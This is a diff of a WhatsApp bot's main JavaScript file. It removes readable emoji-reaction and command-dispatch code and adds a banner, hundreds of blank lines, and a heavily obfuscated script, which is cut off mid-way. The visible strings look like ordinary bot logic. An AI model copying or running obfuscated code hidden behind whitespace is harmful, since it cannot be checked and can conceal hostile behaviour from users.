'🦶', '👂', '🦻', '👃', '🧠', '🫀', '🫁', '🦷', '🦴', '👀', "👁️", '👅', '👄', '👶', '🧒', '👦', '👧', '🧑', '👱', '👨', '🧔', "🧔‍♂️", "🧔‍♀️", "👨‍🦰", "👨‍🦱", "👨‍🦳", "👨‍🦲", '👩', "👩‍🦰", "🧑‍🦰", "👩‍🦱", "🧑‍🦱", "👩‍🦳", "🧑‍🦳", "👩‍🦲", "🧑‍🦲", "👱‍♀️", "👱‍♂️", '🧓', '👴', '👵', '🙍', "🙍‍♂️", "🙍‍♀️", '🙎', "🙎‍♂️", "🙎‍♀️", '🙅', "🙅‍♂️", "🙅‍♀️", '🙆', "🙆‍♂️", "🙆‍♀️", '💁', "💁‍♂️", "💁‍♀️", '🙋', "🙋‍♂️", "🙋‍♀️", '🧏', "🧏‍♂️", "🧏‍♀️", '🙇', "🙇‍♂️", "🙇‍♀️", '🤦', "🤦‍♂️", "🤦‍♀️", '🤷', "🤷‍♂️", "🤷‍♀️", "🧑‍⚕️", "👨‍⚕️", "👩‍⚕️", "🧑‍🎓", "👨‍🎓", "👩‍🎓", "🧑‍🏫", '👨‍🏫', "👩‍🏫", "🧑‍⚖️", "👨‍⚖️", "👩‍⚖️", "🧑‍🌾", "👨‍🌾", "👩‍🌾", "🧑‍🍳", "👨‍🍳", "👩‍🍳", "🧑‍🔧", "👨‍🔧", "👩‍🔧", "🧑‍🏭", "👨‍🏭", "👩‍🏭", "🧑‍💼", "👨‍💼", "👩‍💼", "🧑‍🔬", "👨‍🔬", "👩‍🔬", "🧑‍💻", "👨‍💻", "👩‍💻", "🧑‍🎤", "👨‍🎤", "👩‍🎤", "🧑‍🎨", "👨‍🎨", "👩‍🎨", "🧑‍✈️", "👨‍✈️", "👩‍✈️", "🧑‍🚀", "👨‍🚀", "👩‍🚀", "🧑‍🚒", "👨‍🚒", "👩‍🚒", '👮', "👮‍♂️", "👮‍♀️", "🕵️", "🕵️‍♂️", "🕵️‍♀️", '💂', "💂‍♂️", "💂‍♀️", '🥷', '👷', "👷‍♂️", "👷‍♀️", '🤴', '👸', '👳', "👳‍♂️", "👳‍♀️", '👲', '🧕', '🤵', "🤵‍♂️", "🤵‍♀️", '👰', "👰‍♂️", "👰‍♀️", '🤰', '🤱', "👩‍🍼", "👨‍🍼", "🧑‍🍼", '👼', '🎅', '🤶', "🧑‍🎄", '🦸', "🦸‍♂️", "🦸‍♀️", '🦹', "🦹‍♂️", "🦹‍♀️", '🧙', "🧙‍♂️", "🧙‍♀️", '🧚', "🧚‍♂️", "🧚‍♀️", '🧛', "🧛‍♂️", "🧛‍♀️", '🧜', "🧜‍♂️", "🧜‍♀️", '🧝', "🧝‍♂️", "🧝‍♀️", '🧞', "🧞‍♂️", "🧞‍♀️", '🧟', "🧟‍♂️", "🧟‍♀️", '💆', "💆‍♂️", "💆‍♀️", '💇', "💇‍♂️", "💇‍♀️", '🚶', "🚶‍♂️", "🚶‍♀️", '🧍', "🧍‍♂️", "🧍‍♀️", '🧎', "🧎‍♂️", "🧎‍♀️", "🧑‍🦯", "👨‍🦯", "👩‍🦯", "🧑‍🦼", "👨‍🦼", "👩‍🦼", "🧑‍🦽", "👨‍🦽", "👩‍🦽", '🏃', "🏃‍♂️", "🏃‍♀️", '💃', '🕺', "🕴️", '👯', "👯‍♂️", "👯‍♀️", '🧖', "🧖‍♂️", "🧖‍♀️", '🧗', "🧗‍♂️", "🧗‍♀️", '🤺', '🏇', '⛷️', '🏂', "🏌️", "🏌️‍♂️", "🏌️‍♀️", '🏄', "🏄‍♂️", "🏄‍♀️", '🚣', "🚣‍♂️", "🚣‍♀️", '🏊', "🏊‍♂️", "🏊‍♀️", '⛹️', "⛹️‍♂️", "⛹️‍♀️", "🏋️", "🏋️‍♂️", "🏋️‍♀️", '🚴', "🚴‍♂️", '🚴‍♀️', '🚵', "🚵‍♂️", "🚵‍♀️", '🤸', "🤸‍♂️", "🤸‍♀️", '🤼', "🤼‍♂️", "🤼‍♀️", '🤽', "🤽‍♂️", "🤽‍♀️", '🤾', "🤾‍♂️", "🤾‍♀️", '🤹', "🤹‍♂️", "🤹‍♀️", '🧘', "🧘‍♂️", "🧘‍♀️", '🛀', '🛌', "🧑‍🤝‍🧑", '👭', '👫', '👬', '💏', "👩‍❤️‍💋‍👨", "👨‍❤️‍💋‍👨", "👩‍❤️‍💋‍👩", '💑', "👩‍❤️‍👨", "👨‍❤️‍👨", "👩‍❤️‍👩", '👪', "👨‍👩‍👦", "👨‍👩‍👧", "👨‍👩‍👧‍👦", "👨‍👩‍👦‍👦", "👨‍👩‍👧‍👧", "👨‍👨‍👦", '👨‍👨‍👧', "👨‍👨‍👧‍👦", "👨‍👨‍👦‍👦", "👨‍👨‍👧‍👧", "👩‍👩‍👦", "👩‍👩‍👧", "👩‍👩‍👧‍👦", "👩‍👩‍👦‍👦", "👩‍👩‍👧‍👧", "👨‍👦", "👨‍👦‍👦", "👨‍👧", "👨‍👧‍👦", "👨‍👧‍👧", "👩‍👦", "👩‍👦‍👦", "👩‍👧", "👩‍👧‍👦", "👩‍👧‍👧", "🗣️", '👤', '👥', '🫂', '👣', '🦰', '🦱', '🦳', '🦲', '🐵']; - - const randomReaction = reactions[Math.floor(Math.random() * reactions.length)]; // - m.react(randomReaction); - } - } - - // Owner React - if (!isReact && senderNumber === botNumber) { - if (config.AUTO_REACT === 'true') { - const reactions = ['😊', '👍', '😂', '💯', '🔥', '🙏', '🎉', '👏', '😎', '🤖', '👫', '👭', '👬', '👮', "🕴️", '💼', '📊', '📈', '📉', '📊', '📝', '📚', '📰', '📱', '💻', '📻', '📺', '🎬', "📽️", '📸', '📷', "🕯️", '💡', '🔦', '🔧', '🔨', '🔩', '🔪', '🔫', '👑', '👸', '🤴', '👹', '🤺', '🤻', '👺', '🤼', '🤽', '🤾', '🤿', '🦁', '🐴', '🦊', '🐺', '🐼', '🐾', '🐿', '🦄', '🦅', '🦆', '🦇', '🦈', '🐳', '🐋', '🐟', '🐠', '🐡', '🐙', '🐚', '🐜', '🐝', '🐞', "🕷️", '🦋', '🐛', '🐌', '🐚', '🌿', '🌸', '💐', '🌹', '🌺', '🌻', '🌴', '🏵', '🏰', '🏠', '🏡', '🏢', '🏣', '🏥', '🏦', '🏧', '🏨', '🏩', '🏪', '🏫', '🏬', '🏭', '🏮', '🏯', '🚣', '🛥', '🚂', '🚁', '🚀', '🛸', '🛹', '🚴', '🚲', '🛺', '🚮', '🚯', '🚱', '🚫', '🚽', "🕳️", '💣', '🔫', "🕷️", "🕸️", '💀', '👻', '🕺', '💃', "🕴️", '👶', '👵', '👴', '👱', '👨', '👩', '👧', '👦', '👪', '👫', '👭', '👬', '👮', "🕴️", '💼', '📊', '📈', '📉', '📊', '📝', '📚', '📰', '📱', '💻', '📻', '📺', '🎬', "📽️", '📸', '📷', "🕯️", '💡', '🔦', '🔧', '🔨', '🔩', '🔪', '🔫', '👑', '👸', '🤴', '👹', '🤺', '🤻', '👺', '🤼', '🤽', '🤾', '🤿', '🦁', '🐴', '🦊', '🐺', '🐼', '🐾', '🐿', '🦄', '🦅', '🦆', '🦇', '🦈', '🐳', '🐋', '🐟', '🐠', '🐡', '🐙', '🐚', '🐜', '🐝', '🐞', "🕷️", '🦋', '🐛', '🐌', '🐚', '🌿', '🌸', '💐', '🌹', '🌺', '🌻', '🌴', '🏵', '🏰', '🏠', '🏡', '🏢', '🏠', '🏡', '🏢', '🏣', '🏥', '🏦', '🏧', '🏨', '🏩', '🏪', '🏫', '🏬', '🏭', '🏮', '🏯', '🚣', '🛥', '🚂', '🚁', '🚀', '🛸', '🛹', '🚴', '🚲', '🛺', '🚮', '🚯', '🚱', '🚫', '🚽', "🕳️", '💣', '🔫', "🕷️", "🕸️", '💀', '👻', '🕺', '💃', "🕴️", '👶', '👵', '👴', '👱', '👨', '👩', '👧', '👦', '👪', '👫', '👭', '👬', '👮', "🕴️", '💼', '📊', '📈', '📉', '📊', '📝', '📚', '📰', '📱', '💻', '📻', '📺', '🎬', "📽️", '📸', '📷', "🕯️", '💡', '🔦', '🔧', '🔨', '🔩', '🔪', '🔫', '👑', '👸', '🤴', '👹', '🤺', '🤻', '👺', '🤼', '🤽', '🤾', '🤿', '🦁', '🐴', '🦊', '🐺', '🐼', '🐾', '🐿', '🦄', '🦅', '🦆', '🦇', '🦈', '🐳', '🐋', '🐟', '🐠', '🐡', '🐙', '🐚', '🐜', '🐝', '🐞', "🕷️", '🦋', '🐛', '🐌', '🐚', '🌿', '🌸', '💐', '🌹', '🌺', '🌻', '🌴', '🏵', '🏰', '🏠', '🏡', '🏢', '🏣', '🏥', '🏦', '🏧', '🏨', '🏩', '🏪', '🏫', '🏬', '🏭', '🏮', '🏯', '🚣', '🛥', '🚂', '🚁', '🚀', '🛸', '🛹', '🚴', '🚲', '🛺', '🚮', '🚯', '🚱', '🚫', '🚽', "🕳️", '💣', '🔫', "🕷️", "🕸️", '💀', '👻', '🕺', '💃', "🕴️", '👶', '👵', '👴', '👱', '👨', '👩', '👧', '👦', '👪', '🙂', '😑', '🤣', '😍', '😘', '😗', '😙', '😚', '😛', '😝', '😞', '😟', '😠', '😡', '😢', '😭', '😓', '😳', '😴', '😌', '😆', '😂', '🤔', '😒', '😓', '😶', '🙄', '🐶', '🐱', '🐔', '🐷', '🐴', '🐲', '🐸', '🐳', '🐋', '🐒', '🐑', '🐕', '🐩', '🍔', '🍕', '🥤', '🍣', '🍲', '🍴', '🍽', '🍹', '🍸', '🎂', '📱', '📺', '📻', '🎤', '📚', '💻', '📸', '📷', '❤️', '💔', '❣️', '☀️', '🌙', '🌃', '🏠', '🚪', "🇺🇸", "🇬🇧", "🇨🇦", "🇦🇺", "🇯🇵", "🇫🇷", "🇪🇸", '👍', '👎', '👏', '👫', '👭', '👬', '👮', '🤝', '🙏', '👑', '🌻', '🌺', '🌸', '🌹', '🌴', "🏞️", '🌊', '🚗', '🚌', "🛣️", "🛫️", "🛬️", '🚣', '🛥', '🚂', '🚁', '🚀', "🏃‍♂️", "🏋️‍♀️", "🏊‍♂️", "🏄‍♂️", '🎾', '🏀', '🏈', '🎯', '🏆', '??', '⬆️', '⬇️', '⇒', '⇐', '↩️', '↪️', 'ℹ️', '‼️', '⁉️', '‽️', '©️', '®️', '™️', '🔴', '🔵', '🟢', '🔹', '🔺', '💯', '👑', '🤣', "🤷‍♂️", "🤷‍♀️", "🙅‍♂️", "🙅‍♀️", "🙆‍♂️", "🙆‍♀️", "🤦‍♂️", "🤦‍♀️", '🏻', '💆‍♂️', "💆‍♀️", "🕴‍♂️", "🕴‍♀️", "💇‍♂️", "💇‍♀️", '🚫', '🚽', "🕳️", '💣', '🔫', "🕷️", "🕸️", '💀', '👻', '🕺', '💃', "🕴️", '👶', '👵', '👴', '👱', '👨', '👩', '👧', '👦', '👪', '👫', '👭', '👬', '👮', "🕴️", '💼', '📊', '📈', '📉', '📊', '📝', '📚', '📰', '📱', '💻', '📻', '📺', '🎬', "📽️", '📸', '📷', "🕯️", '💡', '🔦', '�', '🏯', '🏰', '🏠', '🏡', '🏢', '🏣', '🏥', '🏦', '🏧', '🏨', '🏩', '🏪', '🏫', '🏬', '🏭', '🏮', '🏯', '🚣', '🛥', '🚂', '🚁', '🚀', '🛸', '🛹', '🚴', '🚲', '🛺', '🚮', '🚯', '🚱', '🚫', '🚽', "🕳️", '💣', '🔫', "🕷️", "🕸️", '💀', '👻', '🕺', '💃', "🕴️", '👶', '👵', '👴', '👱', '👨', '👩', '👧', '👦', '👪', '👫', '👭', '👬', '👮', "🕴️", '💼', '📊', '📈', '📉', '📊', '📝', '📚', '📰', '📱', '💻', '📻', '📺', '🎬', "📽️", '📸', '📷', "🕯️", '💡', '🔦', '🔧', '🔨', '🔩', '🔪', '🔫', '👑', '👑', '👸', '🤴', '👹', '🤺', '🤻', '👺', '🤼', '🤽', '🤾', '🤿', '🦁', '🐴', '🦊', '🐺', '🐼', '🐾', '🐿', '🦄', '🦅', '🦆', '🦇', '🦈', '🐳', '🐋', '🐟', '🐠', '🐡', '🐙', '🐚', '🐜', '🐝', '🐞', "🕷️", '🦋', '🐛', '🐌', '🐚', '🌿', '🌸', '💐', '🌹', '🌺', '🌻', '🌴', '🌳', '🌲', '🌾', '🌿', '🍃', '🍂', '🍃', '🌻', '💐', '🌹', '🌺', '🌸', '🌴', '🏵', '🎀', '🏆', '🏈', '🏉', '🎯', '🏀', '🏊', '🏋', '🏌', '🎲', '📚', '📖', '📜', '📝', '💭', '💬', '🗣', '💫', '🌟', '🌠', '🎉', '🎊', '👏', '💥', '🔥', '💥', '🌪', '💨', '🌫', '🌬', '🌩', '🌨', '🌧', '🌦', '🌥', '🌡', '🌪', '🌫', '🌬', '🌩', '🌨', '🌧', '🌦', '🌥', '🌡', '🌪', '🌫', '🌬', '🌩', '🌨', '🌧', '🌦', '🌥', '🌡', '🌱', '🌿', '🍃', '🍂', '🌻', '💐', '🌹', '🌺', '🌸', '🌴', '🏵', '🎀', '🏆', '🏈', '🏉', '🎯', '🏀', '🏊', '🏋', '🏌', '🎲', '📚', '📖', '📜', '📝', '💭', '💬', '🗣', '💫', '🌟', '🌠', '🎉', '🎊', '👏', '💥', '🔥', '💥', '🌪', '💨', '🌫', '🌬', '🌩', '🌨', '🌧', '🌦', '🌥', '🌡', '🌪', '🌫', '🌬', '🌩', '🌨', '🌧', '🌦', '🌥', '🌡', "🕯️", '💡', '🔦', '🔧', '🔨', '🔩', '🔪', '🔫', '👑', '👸', '🤴', '👹', '🤺', '🤻', '👺', '🤼', '🤽', '🤾', '🤿', '🦁', '🐴', '🦊', '🐺', '🐼', '🐾', '🐿', '🦄', '🦅', '🦆', '🦇', '🦈', '🐳', '🐋', '🐟', '🐠', '🐡', '🐙', '🐚', '🐜', '🐝', '🐞', "🕷️", '🦋', '🐛', '🐌', '🐚', '🌿', '🌸', '💐', '🌹', '🌺', '🌻', '🌴', '🏵', '🏰', '🏠', '🏡', '🏢', '🏣', '🏥', '🏦', '🏧', '🏨', '🏩', '🏪', '🏫', '🏬', '🏭', '🏮', '🏯', '🚣', '🛥', '🚂', '🚁', '🚀', '🛸', '🛹', '🚴', '🚲', '🛺', '🚮', '🚯', '🚱', '🚫', '🚽', "🕳️", '💣', '🔫', "🕷️", "🕸️", '💀', '👻', '🕺', '💃', "🕴️", '👶', '👵', '👴', '👱', '👨', '👩', '👧', '👦', '👪', '👫', '👭', '👬', '👮', "🕴️", '💼', '📊', '📈', '📉', '📊', '📝', '📚', '📰', '📱', '💻', '📻', '📺', '🎬', "📽️", '📸', '📷', "🕯️", '💡', '🔦', '🔧', '🔨', '🔩', '🔪', '🔫', '👑', '👸', '🤴', '👹', '🤺', '🤻', '👺', '🤼', '🤽', '🤾', '🤿', '🦁', '🐴', '🦊', '🐺', '🐼', '🐾', '🐿', '🦄', '🦅', '🦆', '🦇', '🦈', '🐳', '🐋', '🐟', '🐠', '🐡', '🐙', '🐚', '🐜', '🐝', '🐞', "🕷️", '🦋', '🐛', '🐌', '🐚', '🌿', '🌸', '💐', '🌹', '🌺', '🌻', '🌴', '🏵', '🏰', '🐒', '🦍', '🦧', '🐶', '🐕', '🦮', "🐕‍🦺", '🐩', '🐺', '🦊', '🦝', '🐱', '🐈', "🐈‍⬛", '🦁', '🐯', '🐅', '🐆', '🐴', '🐎', '🦄', '🦓', '🦌', '🦬', '🐮', '🐂', '🐃', '🐄', '🐷', '🐖', '🐗', '🐽', '🐏', '🐑', '🐐', '🐪', '🐫', '🦙', '🦒', '🐘', '🦣', '🦏', '🦛', '🐭', '🐁', '🐀', '🐹', '🐰', '🐇', "🐿️", '🦫', '🦔', '🦇', '🐻', "🐻‍❄️", '🐨', '🐼', '🦥', '🦦', '🦨', '🦘', '🦡', '🐾', '🦃', '🐔', '🐓', '🐣', '🐤', '🐥', '🐦', '🐧', "🕊️", '🦅', '🦆', '🦢', '🦉', '🦤', '🪶', '🦩', '🦚', '🦜', '🐸', '🐊', '🐢', '🦎', '🐍', '🐲', '🐉', '🦕', '🦖', '🐳', '🐋', '🐬', '🦭', '🐟', '🐠', '😀', '😃', '😄', '😁', '😆', '😅', '🤣', '😂', '🙂', '🙃', '😉', '😊', '😇', '🥰', '😍', '🤩', '😘', '😗', '☺️', '😚', '😙', '🥲', '😋', '😛', '😜', '🤪', '😝', '🤑', '🤗', '🤭', '🤫', '🤔', '🤐', '🤨', '😐', '😑', '😶', "😶‍🌫️", '😏', '😒', '🙄', '😬', "😮‍💨", '🤥', '😌', '😔', '😪', '🤤', '😴', '😷', '🤒', '🤕', '🤢', '🤮', '🤧', '🥵', '🥶', '🥴', '😵', "😵‍💫", '🤯', '🤠', '🥳', '🥸', '😎', '🤓', '🧐', '😕', '😟', '🙁', '☹️', '😮', '😯', '😲', '😳', '🥺', '😦', '😧', '😨', '😰', '😥', '😢', '😭', '😱', '😖', '😣', '😞', '😓', '😩', '😫', '🥱', '😤', '😡', '😠', '🤬', '😈', '👿', '💀', '☠️', '💩', '🤡', '👹', '👺', '👻', '👽', '👾', '🤖', '😺', '😸', '😹', '😻', '😼', '😽', '🙀', '😿', '😾', '🙈', '🙉', '🙊', '💋', '💌', '💘', '💝', '💖', '💗', '💓', '💞', '💕', '💟', '❣️', '💔', "❤️‍🔥", "❤️‍🩹", '❤️', '🧡', '💛', '💚', '💙', '💜', '🤎', '🖤', '🤍', '💯', '💢', '💥', '💫', '💦', '💨', "🕳️", '💣', '💬', "👁️‍🗨️", "🗨️", "🗯️", '💭', '💤', '👋', '🤚', "🖐️", '✋', '🖖', '👌', '🤌', '🤏', '✌️', '🤞', '🤟', '🤘', '🤙', '👈', '👉', '👆', '🖕', '👇', '☝️', '👍', '👎', '✊', '👊', '🤛', '🤜', '👏', '🙌', '👐', '🤲', '🤝', '🙏', '✍️', '💅', '🤳', '💪', '🦾', '🦿', '🦵', '🦶', '👂', '🦻', '👃', '🧠', '🫀', '🫁', '🦷', '🦴', '👀', "👁️", '👅', '👄', '👶', '🧒', '👦', '👧', '🧑', '👱', '👨', '🧔', "🧔‍♂️", "🧔‍♀️", "👨‍🦰", "👨‍🦱", "👨‍🦳", "👨‍🦲", '👩', "👩‍🦰", "🧑‍🦰", "👩‍🦱", "🧑‍🦱", "👩‍🦳", "🧑‍🦳", "👩‍🦲", "🧑‍🦲", "👱‍♀️", "👱‍♂️", '🧓', '👴', '👵', '🙍', "🙍‍♂️", "🙍‍♀️", '🙎', "🙎‍♂️", "🙎‍♀️", '🙅', "🙅‍♂️", "🙅‍♀️", '🙆', "🙆‍♂️", "🙆‍♀️", '💁', "💁‍♂️", "💁‍♀️", '🙋', "🙋‍♂️", "🙋‍♀️", '🧏', "🧏‍♂️", "🧏‍♀️", '🙇', "🙇‍♂️", "🙇‍♀️", '🤦', "🤦‍♂️", "🤦‍♀️", '🤷', "🤷‍♂️", "🤷‍♀️", "🧑‍⚕️", "👨‍⚕️", "👩‍⚕️", "🧑‍🎓", "👨‍🎓", "👩‍🎓", "🧑‍🏫", '👨‍🏫', "👩‍🏫", "🧑‍⚖️", "👨‍⚖️", "👩‍⚖️", "🧑‍🌾", "👨‍🌾", "👩‍🌾", "🧑‍🍳", "👨‍🍳", "👩‍🍳", "🧑‍🔧", "👨‍🔧", "👩‍🔧", "🧑‍🏭", "👨‍🏭", "👩‍🏭", "🧑‍💼", "👨‍💼", "👩‍💼", "🧑‍🔬", "👨‍🔬", "👩‍🔬", "🧑‍💻", "👨‍💻", "👩‍💻", "🧑‍🎤", "👨‍🎤", "👩‍🎤", "🧑‍🎨", "👨‍🎨", "👩‍🎨", "🧑‍✈️", "👨‍✈️", "👩‍✈️", "🧑‍🚀", "👨‍🚀", "👩‍🚀", "🧑‍🚒", "👨‍🚒", "👩‍🚒", '👮', "👮‍♂️", "👮‍♀️", "🕵️", "🕵���‍♂️", "🕵️‍♀️", '💂', "💂‍♂️", "💂‍♀️", '🥷', '👷', "👷‍♂️", "👷‍♀️", '🤴', '👸', '👳', "👳‍♂️", "👳‍♀️", '👲', '🧕', '🤵', "🤵‍♂️", "🤵‍♀️", '👰', "👰‍♂️", "👰‍♀️", '🤰', '🤱', "👩‍🍼", "👨‍🍼", "🧑‍🍼", '👼', '🎅', '🤶', "🧑‍🎄", '🦸', "🦸‍♂️", "🦸‍♀️", '🦹', "🦹‍♂️", "🦹‍♀️", '🧙', "🧙‍♂️", "🧙‍♀️", '🧚', "🧚‍♂️", "🧚‍♀️", '🧛', "🧛‍♂️", "🧛‍♀️", '🧜', "🧜‍♂️", "🧜‍♀️", '🧝', "🧝‍♂️", "🧝‍♀️", '🧞', "🧞‍♂️", "🧞‍♀️", '🧟', "🧟‍♂️", "🧟‍♀️", '💆', "💆‍♂️", "💆‍♀️", '💇', "💇‍♂️", "💇‍♀️", '🚶', "🚶‍♂️", "🚶‍♀️", '🧍', "🧍‍♂️", "🧍‍♀️", '🧎', "🧎‍♂️", "🧎‍♀️", "🧑‍🦯", "👨‍🦯", "👩‍🦯", "🧑‍🦼", "👨‍🦼", "👩‍🦼", "🧑‍🦽", "👨‍🦽", "👩‍🦽", '🏃', "🏃‍♂️", "🏃‍♀️", '💃', '🕺', "🕴️", '👯', "👯‍♂️", "👯‍♀️", '🧖', "🧖‍♂️", "🧖‍♀️", '🧗', "🧗‍♂️", "🧗‍♀️", '🤺', '🏇', '⛷️', '🏂', "🏌️", "🏌️‍♂️", "🏌️‍♀️", '🏄', "🏄‍♂️", "🏄‍♀️", '🚣', "🚣‍♂️", "🚣‍♀️", '🏊', "🏊‍♂️", "🏊‍♀️", '⛹️', "⛹️‍♂️", "⛹️‍♀️", "🏋️", "🏋️‍♂️", "🏋️‍♀️", '🚴', "🚴‍♂️", '🚴‍♀️', '🚵', "🚵‍♂️", "🚵‍♀️", '🤸', "🤸‍♂️", "🤸‍♀️", '🤼', "🤼‍♂️", "🤼‍♀️", '🤽', "🤽‍♂️", "🤽‍♀️", '🤾', "🤾‍♂️", "🤾‍♀️", '🤹', "🤹‍♂️", "🤹‍♀️", '🧘', "🧘‍♂️", "🧘‍♀️", '🛀', '🛌', "🧑‍🤝‍🧑", '👭', '👫', '👬', '💏', "👩‍❤️‍💋‍👨", "👨‍❤️‍💋‍👨", "👩‍❤️‍💋‍👩", '💑', "👩‍❤️‍👨", "👨‍❤️‍👨", "👩‍❤️‍👩", '👪', "👨‍👩‍👦", "👨‍👩‍👧", "👨‍👩‍👧‍👦", "👨‍👩‍👦‍👦", "👨‍👩‍👧‍👧", "👨‍👨‍👦", '👨‍👨‍👧', "👨‍👨‍👧‍👦", "👨‍👨‍👦‍👦", "👨‍👨‍👧‍👧", "👩‍👩‍👦", "👩‍👩‍👧", "👩‍👩‍👧‍👦", "👩‍👩‍👦‍👦", "👩‍👩‍👧‍👧", "👨‍👦", "👨‍👦‍👦", "👨‍👧", "👨‍👧‍👦", "👨‍👧‍👧", "👩‍👦", "👩‍👦‍👦", "👩‍👧", "👩‍👧‍👦", "👩‍👧‍👧", "🗣️", '👤', '👥', '🫂', '👣', '🦰', '🦱', '🦳', '🦲', '🐵']; - const randomOwnerReaction = reactions[Math.floor(Math.random() * reactions.length)]; // - m.react(randomOwnerReaction); - } - } - -// custum react settings - -if (!isReact && senderNumber !== botNumber) { - if (config.CUSTOM_REACT === 'true') { - // Use custom emojis from the configuration - const reactions = (config.CUSTOM_REACT_EMOJIS || '🥲,😂,👍🏻,🙂,😔').split(','); - const randomReaction = reactions[Math.floor(Math.random() * reactions.length)]; - m.react(randomReaction); - } -} - -if (!isReact && senderNumber === botNumber) { - if (config.CUSTOM_REACT === 'true') { - // Use custom emojis from the configuration - const reactions = (config.CUSTOM_REACT_EMOJIS || '🥲,😂,👍🏻,🙂,😔').split(','); - const randomReaction = reactions[Math.floor(Math.random() * reactions.length)]; - m.react(randomReaction); - } -} - //==========WORKTYPE============ - if(!isOwner && config.MODE === "private") return - if(!isOwner && isGroup && config.MODE === "inbox") return - if(!isOwner && !isGroup && config.MODE === "groups") return - - // take commands - - const events = require('./command') - const cmdName = isCmd ? body.slice(1).trim().split(" ")[0].toLowerCase() : false; - if (isCmd) { - const cmd = events.commands.find((cmd) => cmd.pattern === (cmdName)) || events.commands.find((cmd) => cmd.alias && cmd.alias.includes(cmdName)) - if (cmd) { - if (cmd.react) conn.sendMessage(from, { react: { text: cmd.react, key: mek.key }}) - - try { - cmd.function(conn, mek, m,{from, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply}); - } catch (e) { - console.error("[PLUGIN ERROR] " + e); - } - } - } - events.commands.map(async(command) => { - if (body && command.on === "body") { - command.function(conn, mek, m,{from, l, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply}) - } else if (mek.q && command.on === "text") { - command.function(conn, mek, m,{from, l, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply}) - } else if ( - (command.on === "image" || command.on === "photo") && - mek.type === "imageMessage" - ) { - command.function(conn, mek, m,{from, l, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply}) - } else if ( - command.on === "sticker" && - mek.type === "stickerMessage" - ) { - command.function(conn, mek, m,{from, l, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply}) - }}); - - }) - } - - app.get("/", (req, res) => { - res.send("[ 🤖 ] SUBZERO MD BOT ONLINE ✅"); - }); - app.listen(port, () => console.log(`Server listening on port http://localhost:${port}`)); - setTimeout(() => { - connectToWA() - }, 4000); - +/* + +$$$$$$\ $$\ +$$ __$$\ $$ | +$$ / \__|$$\ $$\ $$$$$$$\ $$$$$$$$\ $$$$$$\ $$$$$$\ $$$$$$\ +\$$$$$$\ $$ | $$ |$$ __$$\ \____$$ |$$ __$$\ $$ __$$\ $$ __$$\ + \____$$\ $$ | $$ |$$ | $$ | $$$$ _/ $$$$$$$$ |$$ | \__|$$ / $$ | +$$\ $$ |$$ | $$ |$$ | $$ | $$ _/ $$ ____|$$ | $$ | $$ | +\$$$$$$ |\$$$$$$ |$$$$$$$ |$$$$$$$$\ \$$$$$$$\ $$ | \$$$$$$ | + \______/ \______/ \_______/ \________| \_______|\__| \______/ + +Project Name : SubZero MD +Creator : Darrell Mucheri ( Mr Frank OFC ) +Repo : https//github.com/mrfrank-ofc/SUBZERO-MD +Support : wa.me/18062212660 +*/ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +const _0x30c61c=_0x345d;function _0x345d(_0x2ca86d,_0x452236){const _0x5be8b6=_0x5be8();return _0x345d=function(_0x345d72,_0x422c7f){_0x345d72=_0x345d72-0x8e;let _0x1483ec=_0x5be8b6[_0x345d72];return _0x1483ec;},_0x345d(_0x2ca86d,_0x452236);}(function(_0x1fc6f0,_0x4c57ad){const _0x1fe934=_0x345d,_0x39efb9=_0x1fc6f0();while(!![]){try{const _0x1a904d=-parseInt(_0x1fe934(0xfc))/0x1+parseInt(_0x1fe934(0x179))/0x2+-parseInt(_0x1fe934(0xfe))/0x3*(-parseInt(_0x1fe934(0xb6))/0x4)+parseInt(_0x1fe934(0x23a))/0x5+-parseInt(_0x1fe934(0xc9))/0x6*(-parseInt(_0x1fe934(0xf6))/0x7)+-parseInt(_0x1fe934(0x210))/0x8*(-parseInt(_0x1fe934(0x13f))/0x9)+-parseInt(_0x1fe934(0x12c))/0xa;if(_0x1a904d===_0x4c57ad)break;else _0x39efb9['push'](_0x39efb9['shift']());}catch(_0x29d3b0){_0x39efb9['push'](_0x39efb9['shift']());}}}(_0x5be8,0xeafb1));function hi(){const _0x21a9c3=_0x345d;console['log'](_0x21a9c3(0x150));}hi();function _0x5be8(){const _0x429cd6=['🧖‍♀️','👮‍♂️','private','💂‍♂️','🙎‍♀️','🧑‍✈️','👨‍🦽','🧑‍🎓','👩‍🎓','sendFileUrl','🤽‍♀️','🏌️','4448iugDIU','🏋️‍♀️','👨‍🚀','🐈‍⬛','📽️','🙋‍♀️','conversation','👷‍♀️','./lib/functions','split','file-type','🙅‍♂️','🧙‍♀️','participant','extendedTextMessage','AUTO_STATUS_REPLY','includes','🚴‍♂️','🏊‍♀️','🧑‍🏭','🦹‍♀️','🤾‍♂️','[PLUGIN\x20ERROR]\x20','true','🇨🇦','🇦🇺','👩‍⚕️','log','🧚‍♂️','👩‍👩‍👧‍👦','👨‍🔬','👨‍👧‍👧','⛹️‍♀️','asDocument','🐿️','🧑‍🌾','pushName','imageMessage','🧑‍🤝‍🧑','alias','document','🧙‍♂️','7101295QLVLSM','./lib/msg','🧘‍♀️','./exif','mimetype','Message','🧔‍♀️','wa-sticker-formatter','🦸‍♂️','🏋️','status@broadcast','creds.update','🚣‍♂️','PORT','writeFile','😶‍🌫️','👨‍🚒','messages','sendImage','🦸‍♀️','🕵️','image/webp','🙇‍♂️','👳‍♂️','💇‍♂️','👩‍👦','🤹‍